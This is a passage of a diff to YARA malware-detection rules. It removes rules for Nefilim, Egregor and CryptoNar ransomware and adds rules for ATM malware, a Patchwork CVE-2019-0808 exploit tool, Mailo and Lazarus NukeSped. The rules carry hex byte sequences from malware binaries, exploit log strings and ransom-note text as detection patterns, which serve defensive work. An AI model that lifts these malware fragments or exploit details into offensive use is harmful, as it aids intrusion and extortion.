+		$s1 = "MSXFS.dll" fullword ascii
+		$s2 = "WFSExecute" fullword ascii
+		$s3 = "WfsVersion" fullword ascii
+		$s4 = "SvcVersion" fullword ascii
+		$s5 = "SpiVersion" fullword ascii
+		$s6 = "CurrencyDispenser1" fullword ascii
+		$s7 = "WFSUnlock" fullword ascii
+		$s8 = "WFSFreeResult" fullword ascii
+		$s9 = "WFSCleanUp" fullword ascii
+		$s10 = "WFSOpen" fullword ascii
+		$s11 = "WFSClose" fullword ascii
+		$s12 = "WFSStartUp" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Red GmbH/CN=Red GmbH" and pe.signatures[i].serial=="00:b8:81:a7:2d:41:17:bb:c3:8b:81:d3:c6:5c:79:2c:1a" or pe.signatures[i].thumbprint=="5b:19:58:8b:78:74:0a:4c:5d:08:41:99:dc:0f:52:a6:1f:38:00:99")
+		uint16(0)==0x5a4d and filesize <20KB and (pe.imphash()=="190fc01f66c40478aa91be89a98c57e9" and (1 of ($pdb*) and 2 of ($dbg*) and 2 of ($info*) and 9 of ($s*)))
 }
 import "pe"
 
-rule TRELLIX_ARC_RANSOM_Nefilim_Go : RANSOMWARE FILE
+rule ARKBIRD_SOLG_APT_Patchwork_Tool_CVE_2019_0808_1 : FILE
 {
 	meta:
-		description = "Rule to detect the new Nefilim written in GO"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "a8809060-c646-5d54-88e7-c8054305ee6c"
-		date = "2020-07-13"
-		modified = "2020-08-14"
-		reference = "https://www.bleepingcomputer.com/news/security/new-nefilim-ransomware-threatens-to-release-victims-data/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_NEFILIM.yar#L74-L98"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "a51fec27e478a1908fc58c96eb14f3719608ed925f1b44eb67bbcc67bd4c4099"
-		logic_hash = "f0b10286fb1623a32bcf1f30cadce2901f7711cb36db6bbe812f6c2e03862270"
-		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Nefilim"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		description = "Detect CVE 2019-0808 tool used by Patchwork group"
+		author = "Arkbird_SOLG"
+		id = "169255fe-dd7a-5a4e-8f0f-d84a0cf5c684"
+		date = "2020-08-27"
+		modified = "2021-07-13"
+		reference = "https://blog.exodusintel.com/2019/05/17/windows-within-windows/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-27/APT_Patchwork_Tool_CVE_2019_0808_1.yar#L3-L34"
+		license_url = "N/A"
+		logic_hash = "e66df5d69d64c00cb68ff7bea0f7a7eec6657aff83d0f6cdb48d908bae8bcec8"
+		score = 50
+		quality = 75
+		tags = "FILE"
+		hash1 = "49f8a9203e5055777a67490923243405b9aa519016645fd75731c53cbf02073c"
+		level = "Experimental"
 
 	strings:
-		$pattern = { FF20476F206275696C642049443A20226A744368374D37436A4A5732634C5F636633374A2F49625946794336635A64735F4D796A56633461642F486B6D36694A4D39327847785F4F2D65746744692F664E37434C43622D59716E374D795947565A686F220A20FFCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108766B83EC0CC744241400000000C7442418000000008B4424108400890424E88D0200008B44240485C0740789C183F8FF7514C744241400000000C74424180000000083C40CC3894C24088B44241083C004890424E8570200008B4424048B4C2408894C24148944241883C40CC3E8AE5A0400E979FFFFFFCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B61080F86EC00000083EC108B44241885C00F84C30000008B4424148400890424E8FD0100008B44240485C0742E89C183F8FF74E38B44241839C10F85800000008B44241C894424048B44241483C004890424E88B12000083C410C3E8620303008B442414890424C744240400000000C7442408FFFFFFFFE8A61200000FB644240C84C07507E868030300EB8B8B44241C894424048B4424148D4804890C24E83F1200008B442418894424048B442414890424E82B120000E83603030083C410C38D05408E4E008904248D05B8CC510089442404E8DA3F02000F0B8D05408E4E008904248D05B0CC510089442404E8C03F02000F0BE899590400E9F4FEFFFFCCCCCCCCE90B000000CCCCCCCCCCCCCCCCCCCCCC8B6C24048B4424088B4C240CF00FB14D000F94442410C3CCCCCCCCCCCCCCCCCCE9DBFFFFFFCCCCCCCCCCCCCCCCCCCCCC8B6C2404F7C50700000074068B05000000008B4424088B54240C8B5C24108B4C2414F00FC74D000F94442418C3CCCCCCE90B000000CCCCCCCCCCCCCCCCCCCCCC8B6C24048B44240889C1F00FC1450001C1894C240CC3CCCCCCCCCCCCCCCCCCCC8B6C2404F7C50700000074068B05000000008B7424088B7C240C8B45008B550489C389D101F311F9F00FC74D0075F1895C2410894C2414C3CCCCCCCCCCCCCCCC8B4424048B0089442408C3CCCCCCCCCC8B442404A90700000074068B05000000000F6F000F7F4424080F77C3CCCCCCCCE9CBFFFFFFCCCCCCCCCCCCCCCCCCCCCCE9BBFFFFFFCCCCCCCCCCCCCCCCCCCCCC8B6C24048B442408874500C3CCCCCCCCE9EBFFFFFFCCCCCCCCCCCCCCCCCCCCCC8B4424040FBCC074058944240CC38B4424080FBCC0740883C0208944240CC3C744240C40000000C3CCCCCCCCCCCCCCCC8B4424048B0089442408C3CCCCCCCCCC8B4424048B0089442408C3CCCCCCCCCC83EC208B4424248B088B54242889CB01D1894C241C8B6804890424895C2404896C2408894C240C8B5C242C11DD896C2418896C2410E8160100000FB644241484C074C08B44241C894424308B4424188944243483C420C3CCCCCCCCCCCCCCCCCC83EC208B4424248B08894C24188B50048954241C890424894C2404895424088B5C2428895C240C8B6C242C896C2410E8BC0000000FB644241484C074C68B442418894424308B44241C8944243483C420C3CCCCCCCCCCCCCCCCCCCCCCCCCCCCCC8B5C24048B4424088B4C240CF00FB10B0F94442410C3CCCCCCCCCCCCCCCCCCCCE9DBFFFFFFCCCCCCCCCCCCCCCCCCCCCCE9EBFEFFFFCCCCCCCCCCCCCCCCCCCCCCE9DBFEFFFFCCCCCCCCCCCCCCCCCCCCCCE9DB000000CCCCCCCCCCCCCCCCCCCCCCE97B000000CCCCCCCCCCCCCCCCCCCCCCE9CB000000CCCCCCCCCCCCCCCCCCCCCCE9BBFEFFFFCCCCCCCCCCCCCCCCCCCCCC8B6C2404F7C50700000074068B2D000000008B4424088B54240C8B5C24108B4C2414F00FC74D000F94442418C3CCCCCC8B5C24048B4424088B4C240CF00FB10B0F94442410C3CCCCCCCCCCCCCCCCCCCC8B5C24048B44240889C1F00FC10301C88944240CC3CCCCCCCCCCCCCCCCCCCCCC8B5C24048B44240887038944240CC3CCE9EBFFFFFFCCCCCCCCCCCCCCCCCCCCCC8B5C24048B4424088703C3CCCCCCCCCC8B5C24048B4424088703C3CCCCCCCCCC8B442404A90700000074068B05000000008D5C24080F6F000F7F030F77C3CCCC8B442404A90700000074068B05000000000F6F4424080F7F000F77B800000000F00FC10424C3CCCCCCCCCCCCCCCCCCCC8B4424048A5C2408F00818C3CCCCCCCC8B4424048A5C2408F02018C3CCCCCCCC648B0D140000008B89000000003B610876098B4424088944240CC3E860550400EBDECCCCCCCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108762B83EC108B4424148904248B44241889442404C744240801000000E8AF4400008B44240C8944241C83C410C3E80E550400EBBCCCCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108762B83EC108B4424148904248B44241889442404C744240802000000E85F4400008B44240C8944241C83C410C3E8BE540400EBBCCCCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108762B83EC108B4424148904248B44241889442404C744240810000000E80F4400008B44240C8944241C83C410C3E86E540400EBBCCCCCCCCCCCCCCCCCCCCCCCCC83EC108D42048B008B4C2414890C248B4C2418894C240489442408E8D04300008B44240C8944241C83C410C3CCCCCCCC648B0D140000008B89000000003B6108762C83EC108B4424148B088B400489442408890C248B44241889442404E88E4300008B44240C8944241C83C410C3E8ED530400EBBBCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B61080F86B600000083EC108B442414F30F10000F57C90F2EC175060F8B860000000F2EC075027B5B648B05140000008B80000000008B40188B88940000008B909800000089909400000089CBC1E11131D989D331CAC1E90731D189DAC1EB1031CB8998980000008D041A8B4C241831C835A98E7FAA69C0CD76BAC28944241C83C410C38904248B44241889442404C744240804000000E8C74200008B44240C8944241C83C410C38B44241835A98E7FAA69C0CD76BAC28944241C83C410C3E80F530400E92AFFFFFFCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B61080F86B800000083EC108B442414F20F10000F57C9660F2EC175060F8B87000000660F2EC075027B5B648B05140000008B80000000008B40188B88940000008B909800000089909400000089CBC1E11131D989D331CAC1E90731D189DAC1EB1031CB8998980000008D041A8B4C241831C835A98E7FAA69C0CD76BAC28944241C83C410C38904248B44241889442404C744240808000000E8E54100008B44240C8944241C83C410C38B44241835A98E7FAA69C0CD76BAC28944241C83C410C3E82D520400E928FFFFFFCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108763C83EC0C8B44241084008904248B4C2414894C2404E815FEFFFF8B44241083C0048B4C2408890424894C2404E8FEFDFFFF8B4424088944241883C40CC3E8CD510400EBABCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108763C83EC0C8B44241084008904248B4C2414894C2404E895FEFFFF8B44241083C0088B4C2408890424894C2404E87EFEFFFF8B4424088944241883C40CC3E86D510400EBABCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B61080F86F200000083EC248B4424288B0885C974678B49048B59108B1385D274670FB6490FF6C120742983C0048904248B44242C35A98E7FAA894424048B02FFD08B44240869C0CD76BAC28944243083C424C38B40048904248B44242C35A98E7FAA894424048B02FFD08B44240869C0CD76BAC28944243083C424C38B44242C8944243083C424C3890C24E8B2FA03008B4424088B4C2404C70424000000008D15A279500089542404C744240818000000894C240C89442410E8F46603008B4424188B4C2414894C241C894424208D05C0D24E008904248D44241C89442404E81E8E00008B44240C8B4C2408890C2489442404E87A3602000F0BE853500400E9EEFEFFFFCCCCCCCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B61080F86EF00000083EC248B4424288B0885C974648B59108B1385D274670FB6490FF6C120742983C0048904248B44242C35A98E7FAA894424048B02FFD08B44240869C0CD76BAC28944243083C424C38B40048904248B44242C35A98E7FAA894424048B02FFD08B44240869C0CD76BAC28944243083C424C38B44242C8944243083C424C3890C24E895F903008B4424088B4C2404C70424000000008D15A279500089542404C744240818000000894C240C89442410E8D76503008B4424188B4C2414894C241C894424208D05C0D24E008904248D44241C89442404E8018D00008B44240C8B4C2408890C2489442404E85D3502000F0BE8364F0400E9F1FEFFFFCC648B0D140000008B89000000003B61087606C644240C01C3 }
+		$asm1 = { 8b 3d 44 21 01 10 6a 00 6a 00 6a 01 6a 01 6a 00 6a 00 68 00 00 00 08 68 e4 7e 01 10 68 e8 7e 01 10 6a 00 ff d7 50 68 f0 7e 01 10 a3 c8 a2 01 10 e8 e8 f7 ff ff 8b 35 68 21 01 10 8d 84 24 5c 01 00 00 83 c4 08 c7 84 24 54 01 00 00 1c 00 00 00 0f 57 c0 c7 84 24 58 01 00 00 10 00 00 00 66 0f 13 84 24 60 01 00 00 66 0f 13 84 24 68 01 00 00 50 ff b4 24 1c 01 00 00 c7 84 24 64 01 00 00 00 00 00 60 ff d6 8d 84 24 54 01 00 00 50 ff 74 24 10 ff d6 8b 35 5c 21 01 10 68 04 7f 01 10 ff 74 24 10 68 10 04 00 00 ff b4 24 24 01 00 00 ff }
+		$asm2 = { a1 14 21 01 10 0f 57 c0 8b 74 24 08 89 84 24 28 01 00 00 8d 84 24 20 01 00 00 50 c7 84 24 28 01 00 00 00 00 00 00 66 0f 13 84 24 3c 01 00 00 c7 84 24 44 01 00 00 00 00 00 00 c7 84 24 50 01 00 00 00 00 00 00 c7 84 24 24 01 00 00 30 00 00 00 c7 84 24 30 01 00 00 00 00 00 00 c7 84 24 34 01 00 00 00 00 00 00 89 b4 24 38 01 00 00 c7 84 24 48 01 00 00 00 00 00 00 c7 84 24 4c 01 00 00 10 7f 01 10 ff 15 64 21 01 10 6a 00 56 6a 00 6a 00 6a 01 6a 01 6a 00 6a 00 68 00 00 00 08 68 20 7f 01 10 68 10 7f 01 10 6a 00 ff d7 6a 00 50 6a 00 6a 00 a3 ec a2 01 10 6a 00 ff b4 24 2c 01 00 00 ff 15 58 21 01 }
+		$asm3 = { e8 72 fb ff ff 83 c4 08 68 c0 13 00 10 6a fc ff 76 0c ff 15 54 21 01 10 56 ff 75 0c ff 75 08 6a 00 ff 15 24 21 01 10 5f 5e 5b 5d }
+		$s1 = "[*] Successfully exploited CVE-2019-0808 and triggered the shellcode!" fullword ascii
+		$s2 = "[!] Failed to find the address of IsMenu within user32.dll." fullword ascii
+		$s3 = "Sending hSecondaryWindow a WM_ENTERIDLE message to trigger the execution of the shellcode as SYSTEM." fullword ascii
+		$s4 = "AppPolicyGetProcessTerminationMethod" fullword ascii
+		$s5 = "[*] Found target windows!" fullword ascii
+		$s6 = "[*] addressOfIsMenuFromStartOfUser32: 0x%08X" fullword ascii
+		$s7 = "[*] FakeMenu: %p" fullword ascii
+		$s8 = "[*] Primary window address: 0x%08X" fullword ascii
+		$s9 = "[!] Didn't exploit the program. For some reason our privileges were not appropriate." fullword ascii
+		$s10 = "[*] hUser32: 0x%08X" fullword ascii
+		$s11 = "[*] Secondary window address: 0x%08X" fullword ascii
+		$s12 = "[*] Offset: 0x%08X" fullword ascii
+		$s13 = "[*] pHmValidateHandle: 0x%08X" fullword ascii
+		$s14 = "[*] HWND: %p " fullword ascii
+		$s15 = "[*] pIsMenuFunction: 0x%08X" fullword ascii
+		$s16 = "[*] Destroyed spare windows!" fullword ascii
+		$s17 = "[!] SetWindowLongA malicious error: 0x%08X" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <8000KB and all of them
+		uint16(0)==0x5a4d and filesize >70KB and (pe.imphash()=="d4a5e8c255211639195793920eeda70f" and 2 of ($asm*) and 12 of ($s*))
 }
-import "pe"
-import "hash"
-
-rule TRELLIX_ARC_Ransom_Egregor : RANSOMWARE FILE
+rule ARKBIRD_SOLG_MAL_Mailo_Jun_2021_1 : FILE
 {
 	meta:
-		description = "Detect Egregor ransomware"
-		author = "Thomas Roccia | McAfee ATR team"
-		id = "b9f1a712-c168-5e0f-8b9e-cb03a6c43fc3"
-		date = "2020-10-28"
-		modified = "2020-10-28"
-		reference = "https://bazaar.abuse.ch/sample/004a2dc3ec7b98fa7fe6ae9c23a8b051ec30bcfcd2bc387c440c07ff5180fe9a/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_egregor.yar#L4-L31"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "5f9fcbdf7ad86583eb2bbcaa5741d88a"
-		logic_hash = "8077c656eed0b1633da54f8d017d4eff122f2f4e486c4e1af6f6434ea33c0675"
+		description = "Detect the Mach-O malware"
+		author = "Arkbird_SOLG"
+		id = "4c975200-fce4-5a2a-b565-6d397c4e0b1c"
+		date = "2021-06-09"
+		modified = "2021-06-21"
+		reference = "https://labs.sentinelone.com/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-19/MAIL-O/MAL_MailO_Jun_2021_1.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "165c5fd90039c14ef1fa1e80bb7f14761e991b09560c5f1da2ddf9a0eadee623"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom/Egregor"
-		actor_type = "Cybercrime"
-		actor_group = "egregor"
+		quality = 75
+		tags = "FILE"
+		hash1 = "3a77f108e32b34e184f9ade66292cd73abbd297b4829ba63a973a400cc7f3f9f"
+		hash2 = "603881f4c80e9910ab22f39717e8b296910bff08cd0f25f78d5bff1ae0dce5d7"
+		tlp = "White"
+		adversary = "TA428"
 
 	strings:
-		$p1 = "ewdk.pdb" fullword ascii
-		$p2 = "testbuild.pdb" fullword ascii
-		$s1 = "M:\\" nocase ascii
-		$s2 = "1z1M9U9" fullword wide
-		$s3 = "C:\\Logmein\\{888-8888-9999}\\Logmein.log" fullword wide
+		$seq1 = { 48 8b ce e8 9e 0c f9 ff 48 8b 5c 24 20 48 8b 4c 24 28 49 8b d7 41 ff c5 ff 15 20 72 08 00 4c 8b f8 48 85 c0 0f 85 4c ff ff ff 48 8b b4 24 88 00 00 00 48 8b 4c 24 28 33 d2 ff 15 f7 71 08 00 4c 8b ac 24 90 00 00 00 4d 85 e4 0f 84 7f 01 00 00 48 8b ac 24 80 00 00 00 4d 8b c4 48 8b cd 48 8b d6 ff 53 48 49 8b cc 8b f0 e8 88 2c f8 ff 4c 8b bc 24 98 00 00 00 85 c0 0f 8e fb 00 00 00 0f 1f 84 00 00 00 00 00 41 8b d6 49 8b cc e8 95 2e f8 ff 48 8b f8 44 3b f6 75 75 49 89 07 e9 c4 00 00 00 48 8b 5c 24 20 45 33 c0 48 8b ce 41 8d 50 01 e8 a1 4b f9 ff 85 c0 0f 84 43 ff ff ff 49 8b d7 48 8b cb e8 ce e7 ff ff 48 8b d8 48 85 c0 0f 84 2c ff ff ff 49 8b cf ff 15 71 71 08 00 8b 15 ff e0 12 00 4c 8b c3 48 8b ce 48 89 03 e8 45 0c f9 ff 4d 85 e4 75 08 e8 2b 2b f8 ff 4c 8b e0 48 8b d6 49 8b cc e8 cd 2c f8 ff e9 fa fe ff ff 8b 15 ce e0 12 00 48 8b cf e8 ca 0b f9 ff 48 8b d8 48 85 c0 74 39 48 8b 48 10 ff 15 d8 70 08 00 48 8b 4b 08 33 d2 ff 15 d4 70 08 00 48 8b 0b 48 85 c9 74 06 ff 15 0e 71 08 00 41 b8 3a 06 00 00 48 8d 15 b1 71 0d 00 }
+		$seq2 = { 4c 8d 84 24 d0 00 00 00 4c 89 b4 24 90 01 00 00 48 8d 15 d8 a2 17 00 48 8b cd e8 50 e1 ff ff 8b 44 24 40 83 f8 02 74 05 83 f8 17 75 0c 83 7c 24 44 01 75 05 41 b6 01 eb 03 45 32 f6 48 8b 5c 24 28 45 84 f6 74 14 f6 85 74 0e 00 00 08 74 0b 48 8b d3 48 8b ce e8 15 03 00 00 48 8b cb e8 5d f4 ff ff 45 84 f6 74 17 f7 85 74 0e 00 00 00 10 00 00 74 0b 48 8b d3 48 8b cd e8 d1 01 00 00 48 83 bd 38 07 00 00 00 74 33 b2 01 48 8b cd e8 1d f1 fe ff 48 8b 8d 40 07 00 00 45 33 c0 48 8b d3 ff 95 38 07 00 00 33 d2 48 8b cd 44 8b f0 e8 fd f0 fe ff 41 83 fe 02 75 51 41 b4 01 8b 44 24 40 83 f8 02 74 05 83 f8 17 75 5a 48 8d 4c 24 50 e8 ac 81 02 00 44 8b 44 24 40 44 8b c8 48 8b d3 48 8b ce e8 d9 f8 ff ff 8b f8 85 c0 74 37 48 8b d3 48 8b ce e8 68 eb ff ff b8 07 00 00 00 83 ff 01 0f 44 f8 }
+		$seq3 = { 48 8b d0 48 8d 4d 80 41 ff d4 48 8b cb ff 15 f2 fa 1e 00 48 8d 95 e0 00 00 00 48 8d 4d 80 41 ff d7 f6 47 3c 02 48 8d 8d 90 00 00 00 48 0f 44 4c 24 50 e8 f6 04 00 00 4c 8b f0 48 85 c0 0f 84 05 fe ff ff 48 8b 47 28 49 8b d6 4c 8b 0f 4c 8b 47 10 48 85 c0 74 53 48 8d 8d e0 00 00 00 48 89 4c 24 40 48 8d 0d 94 90 15 00 48 89 44 24 38 8b 47 38 89 44 24 30 48 8b 47 08 48 89 44 24 28 48 8b 44 24 58 48 89 44 24 20 e8 e0 42 fc ff 48 8b 4f 28 48 8d 15 b9 8e 15 00 48 8b d8 e8 3d 7a fd ff 85 c0 74 2a ff 47 38 eb 25 48 8d 85 e0 00 00 00 48 89 44 24 28 48 8d 0d a1 90 15 00 48 8b 44 24 58 48 89 44 24 20 e8 a2 42 fc ff 48 8b d8 49 8b ce ff 15 2e fa 1e 00 48 85 db 0f 84 68 fd ff ff 4c 8b 47 20 4d 85 c0 74 27 48 8b d3 48 8d 0d aa 90 15 00 e8 75 42 fc ff 48 8b cb 4c 8b f0 ff 15 01 fa 1e 00 4d 85 f6 0f 84 3b fd ff ff 49 8b de 4c 8b 47 30 4d 85 c0 74 27 48 8b d3 48 8d 0d 8a 90 15 00 e8 45 42 fc ff 48 8b cb 4c 8b f0 ff 15 d1 f9 1e 00 4d 85 f6 0f 84 0b fd ff ff 49 8b de f6 47 3c 02 74 27 48 8b d3 48 8d 0d 75 90 15 00 e8 18 42 fc ff 48 8b cb 48 8b f8 ff 15 a4 f9 1e 00 48 }
+		$seq4 = { 48 81 ec 08 03 00 00 48 8b 05 e2 61 23 00 48 33 c4 48 89 84 24 f0 02 00 00 33 d2 48 8d 8c 24 e0 00 00 00 41 b8 08 02 00 00 e8 c2 f5 16 00 41 b8 04 01 00 00 48 8d 94 24 e0 00 00 00 48 8d 0d c5 94 21 00 ff 15 07 ee 18 00 48 8d 8c 24 e0 00 00 00 ff 15 d1 ef 18 00 85 c0 74 63 33 d2 48 8d 4c 24 70 44 8d 42 68 e8 85 f5 16 00 b8 05 00 00 00 c7 44 24 70 68 00 00 00 66 89 84 24 b0 00 00 00 48 8d 8c 24 e0 00 00 00 48 8d 44 24 50 45 33 c9 48 89 44 24 48 45 33 c0 48 8d 44 24 70 33 d2 48 89 44 24 40 33 c0 48 89 44 24 38 48 89 44 24 30 89 44 24 28 89 44 24 20 ff 15 52 ed 18 00 48 8b 8c 24 f0 02 00 00 48 33 cc e8 c2 cf 16 00 48 }
+		$seq5 = { 48 89 74 24 48 48 8d 0d 99 5e 18 00 4c 89 74 24 50 48 8b d5 4c 89 7c 24 58 e8 5f 13 17 00 4c 8d b7 0c 08 00 00 49 63 06 85 c0 0f 84 b0 00 00 00 48 8b c8 48 c1 e1 03 ff 15 a8 5f 22 00 48 8b f0 48 85 c0 0f 84 04 01 00 00 45 33 ff ba 00 01 00 00 41 8b df 90 48 8b 07 48 85 c0 74 16 4c 39 78 28 74 08 8b cb ff c3 48 89 04 ce 48 8b 00 48 85 c0 75 ea 48 83 c7 08 48 83 ea 01 75 d8 49 63 16 4c 8d 0d ce 01 00 00 41 b8 08 00 00 00 48 8b ce e8 c0 14 17 00 85 db 74 3e 4c 8b f6 49 8b 0e e8 c1 03 00 00 48 8b f8 48 8b cd 48 85 c0 0f 84 85 00 00 00 4c 8b c0 48 8d 15 58 5a 18 00 e8 33 a8 ff ff 48 8b cf ff 15 22 5f 22 00 41 ff c7 49 83 c6 08 44 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and hash.sha256(pe.rich_signature.clear_data)=="b030ed1a7ca222a0923a59f321be7e55b8d0fc24c1134df1ba775bcf0994c79c" or (pe.sections[4].name==".gfids" and pe.sections[5].name==".00cfg") and ( any of ($p*) or 2 of ($s*))
+		uint16(0)==0x5a4d and filesize >300KB and 4 of ($seq*)
 }
-rule TRELLIX_ARC_Cryptonar_Ransomware : RANSOMWARE FILE
+rule ARKBIRD_SOLG_APT_Lazarus_Jun_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect CryptoNar Ransomware"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "0911250f-fc1f-58bc-ac09-d77d2a2ed3ce"
-		date = "2024-08-01"
-		modified = "2020-08-14"
-		reference = "https://www.bleepingcomputer.com/news/security/cryptonar-ransomware-discovered-and-quickly-decrypted/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_CryptoNar.yar#L1-L36"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "04c1c4f45ad3552aa0876c3b645c6ca92493018f7fdc5d9d9ed26cf67199d21b"
+		description = "Detect a variant of NukeSped malware"
+		author = "Arkbird_SOLG"
+		id = "0f5d42c0-d6dc-573b-9227-787ccbcaa83d"
+		date = "2021-06-19"
+		modified = "2021-06-21"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-19/Lazarus/APT_Lazarus_Jun_2021_1.yara#L1-L20"
+		license_url = "N/A"
+		logic_hash = "ea4ce93d54b9b8e5d1d5bb64d37ac26839e2fa3200da3057597d83c4be6d129f"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/CryptoNar"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "5c2f339362d0cd8e5a8e3105c9c56971087bea2701ea3b7324771b0ea2c26c6c"
+		hash2 = "2dff6d721af21db7d37fc1bd8b673ec07b7114737f4df2fa8b2ecfffbe608a00"
+		hash3 = "1177105e51fa02f9977bd435f9066123ace32b991ed54912ece8f3d4fbeeade4"
+		tlp = "White"
+		adversary = "Lazarus"
 
 	strings:
-		$s1 = "C:\\narnar\\CryptoNar\\CryptoNarDecryptor\\obj\\Debug\\CryptoNar.pdb" fullword ascii
-		$s2 = "CryptoNarDecryptor.exe" fullword wide
-		$s3 = "server will eliminate the key after 72 hours since its generation (since the moment your computer was infected). Once this has " fullword ascii
-		$s4 = "Do not delete this file, else the decryption process will be broken" fullword wide
-		$s5 = "key you received, and wait until the decryption process is done." fullword ascii
-		$s6 = "In order to receive your decryption key, you will have to pay $200 in bitcoins to this bitcoin address: [bitcoin address]" fullword ascii
-		$s7 = "Decryption process failed" fullword wide
-		$s8 = "CryptoNarDecryptor.KeyValidationWindow.resources" fullword ascii
-		$s9 = "Important note: Removing CryptoNar will not restore access to your encrypted files." fullword ascii
-		$s10 = "johnsmith987654@tutanota.com" fullword wide
-		$s11 = "Decryption process will start soon" fullword wide
-		$s12 = "CryptoNarDecryptor.DecryptionProgressBarForm.resources" fullword ascii
-		$s13 = "DecryptionProcessProgressBar" fullword wide
-		$s14 = "CryptoNarDecryptor.Properties.Resources.resources" fullword ascii
+		$seq1 = { 48 8b ce e8 8a 2c 00 00 48 8b d8 48 85 c0 0f 84 28 06 00 00 4c 8b c6 33 d2 48 8b c8 e8 11 56 00 00 8d 4e fc 48 8d 57 04 4c 63 c1 48 8b cb e8 af 3a 00 00 33 c0 48 8d 4c 24 30 48 89 4c 24 28 45 33 c9 4c 8b c3 33 d2 33 c9 89 44 24 30 89 44 24 20 ff 15 4b 49 01 00 48 85 c0 0f 84 d4 05 00 00 ba 88 13 00 00 48 8b c8 ff 15 9c 2c 02 00 48 8d 8d 91 00 00 00 33 d2 41 b8 ff 03 00 00 c6 85 90 00 00 00 00 e8 a9 55 00 00 48 8d 15 02 c1 01 00 48 8d 8d 90 00 00 00 e8 16 2b 00 00 48 8d 85 90 00 00 00 48 83 cb ff 48 ff c3 80 3c 18 00 75 f7 41 b2 84 ba 43 90 21 57 41 b8 c2 a2 a9 09 85 db 0f 8e 4b 05 00 00 4c 8d 8d 90 00 00 00 44 8b db 66 90 41 0f b6 01 41 0f b6 c8 4d 8d 49 01 32 ca 41 32 c2 44 22 d1 41 32 c0 42 8d 0c c5 00 00 00 00 32 c2 41 33 c8 41 88 41 ff 81 e1 f8 07 00 00 41 0f b6 c0 22 c2 c1 e1 14 44 32 d0 41 8b c0 44 8b c1 c1 e8 08 8d 0c 12 33 ca 44 0b c0 8b c2 c1 e1 04 c1 e0 07 33 ca 83 e1 80 33 c8 8b c2 c1 e1 11 c1 e8 08 8b d1 0b d0 49 ff }
+		$seq2 = { 48 8d ac 24 50 ff ff ff 48 81 ec b0 01 00 00 48 8b 05 82 09 02 00 48 33 c4 48 89 85 a0 00 00 00 44 8b 25 d5 38 02 00 4c 8b f9 48 8d 4d 91 33 d2 41 b8 03 01 00 00 c6 45 90 00 e8 59 66 00 00 b9 3c 00 00 00 ff 15 f6 3c 02 00 ff 15 88 59 01 00 8b c8 e8 51 42 00 00 e8 20 42 00 00 b9 3c 00 00 00 8b d8 83 e3 03 83 c3 08 ff 15 d1 3c 02 00 ff 15 63 59 01 00 8b c8 e8 2c 42 00 00 e8 fb 41 00 00 b9 3c 00 00 00 8b f8 83 e7 01 83 c7 05 ff 15 ac 3c 02 00 ff 15 3e 59 01 00 8b c8 e8 07 42 00 00 e8 d6 41 00 00 8b f0 b8 ab aa aa aa f7 e6 d1 ea 8d 0c 52 2b f1 83 eb 08 0f 84 30 03 00 00 ff cb 0f 84 68 02 00 00 ff cb 0f 84 9a 01 00 00 ff cb 0f 85 ef 04 00 00 8d 4b 3c ff 15 60 3c 02 00 ff 15 f2 58 01 00 8b c8 e8 bb 41 00 00 e8 8a 41 00 00 8b d8 b8 1f 85 eb 51 f7 e3 c1 ea 03 6b ca 19 2b d9 b9 3c 00 00 00 83 c3 0a ff 15 2f 3c 02 00 ff 15 c1 58 01 00 8b c8 e8 8a 41 00 00 e8 59 41 00 00 44 8b f0 b8 ab aa aa aa 41 f7 e6 c1 ea 02 8d 0c 52 03 c9 44 2b f1 b9 3c 00 00 00 41 81 c6 d7 07 